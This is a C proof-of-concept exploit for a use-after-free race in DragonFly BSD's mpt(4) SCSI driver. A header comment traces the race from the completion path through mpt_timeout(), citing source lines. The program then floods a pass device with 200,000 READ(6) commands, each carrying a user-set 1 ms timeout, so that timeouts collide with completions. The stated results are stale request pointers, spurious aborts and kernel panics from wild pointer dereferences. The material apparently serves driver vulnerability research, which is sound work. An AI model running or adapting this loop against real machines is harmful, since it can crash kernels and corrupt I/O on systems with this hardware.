/* DF-3673 — mpt(4) mpt_timeout() uses the CCB after the completion path
 *            has recycled/freed it (callout_stop does not interlock against
 *            an in-progress callback).
 *
 * PoC (source-verified; runtime-gated on MPT hardware).
 *
 * The completion path (mpt_scsi_reply_handler, intr context, mpt lock held):
 *
 *     mpt_req_untimeout(req, mpt_timeout, ccb);   // = callout_stop()  :2662
 *     ...
 *     xpt_done(ccb);                              // CCB recycled/freed :2710
 *
 * mpt_timeout() (softclock context):
 *
 *     ccb = (union ccb *)arg;
 *     mpt = ccb->ccb_h.ccb_mpt_ptr;               // read BEFORE lock  :1241
 *     MPT_LOCK(mpt);                               // blocks while intr completes
 *     req = ccb->ccb_h.ccb_req_ptr;                // read AFTER free   :1244
 *     mpt_prt(...  req->serno ...);                // deref stale/garbage
 *
 * DragonFly callout_stop() on a callout_init_mp() (non-lock-aided) callout
 * "does not block ... does not interlock against a callout that is
 * in-progress" (sys/kern/kern_timeout.c:1073-1096).  If the timeout fires
 * on another CPU while the completion path holds the mpt lock, the callback
 * proceeds after xpt_done() and reads the CCB from freed/reused memory:
 *   - pooled CCBs (XPT_SCSI_IO via pass): ccb_req_ptr is a STALE request_t*
 *     -> wrong request gets REQ_STATE_TIMEDOUT + moved to the timeout list
 *     -> spurious abort of an unrelated command / list confusion;
 *   - zone CCBs (XPT_CONT_TARGET_IO via pass, freed by xpt_free_ccb ->
 *     kfree): ccb_req_ptr is heap garbage -> wild pointer deref -> panic.
 *
 * The race window is user-amplifiable: pass(4) lets the caller set
 * ccb_h.timeout (ms) per command — a 1 ms timeout on a busy device makes
 * expiry-vs-completion collisions routine.
 *
 * Run as: ./mpt_timeout_race <pass-device>   (against mpt-attached LUN)
 */
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

#ifndef CAMIOCOMMAND
#define CAMIOCOMMAND	_IOWR(CAM_VERSION, 2, union ccb)
#endif

int
main(int argc, char **argv)
{
	union ccb ccb;
	u_int8_t *buf;
	int fd, i;

	if (argc != 2)
		errx(1, "usage: %s /dev/passN", argv[0]);

	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open %s", argv[0]);

	buf = malloc(4096);
	if (buf == NULL)
		err(1, "malloc");

	/*
	 * Hammer the device with 1 ms-timeout reads.  Every completion that
	 * lands inside the (tiny) callout-callback window re-enters
	 * mpt_timeout() with a CCB the completion path already handed back
	 * via xpt_done().
	 */
	for (i = 0; i < 200000; i++) {
		memset(&ccb, 0, sizeof(ccb));
		ccb.ccb_h.func_code = XPT_SCSI_IO;
		ccb.ccb_h.flags = CAM_DIR_IN;
		ccb.ccb_h.timeout = 1;		/* 1 ms — user-controlled */
		ccb.csio.dxfer_len = 512;
		ccb.csio.data_ptr = buf;
		ccb.csio.cdb_len = 6;
		ccb.csio.cdb_io.cdb_bytes[0] = 0x08;	/* READ(6) */
		ccb.csio.cdb_io.cdb_bytes[4] = 1;

		if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0)
			err(1, "CAMIOCOMMAND (iter %d)", i);
	}
	printf("survived %d iterations — no collision observed this run\n", i);
	free(buf);
	return (0);
}
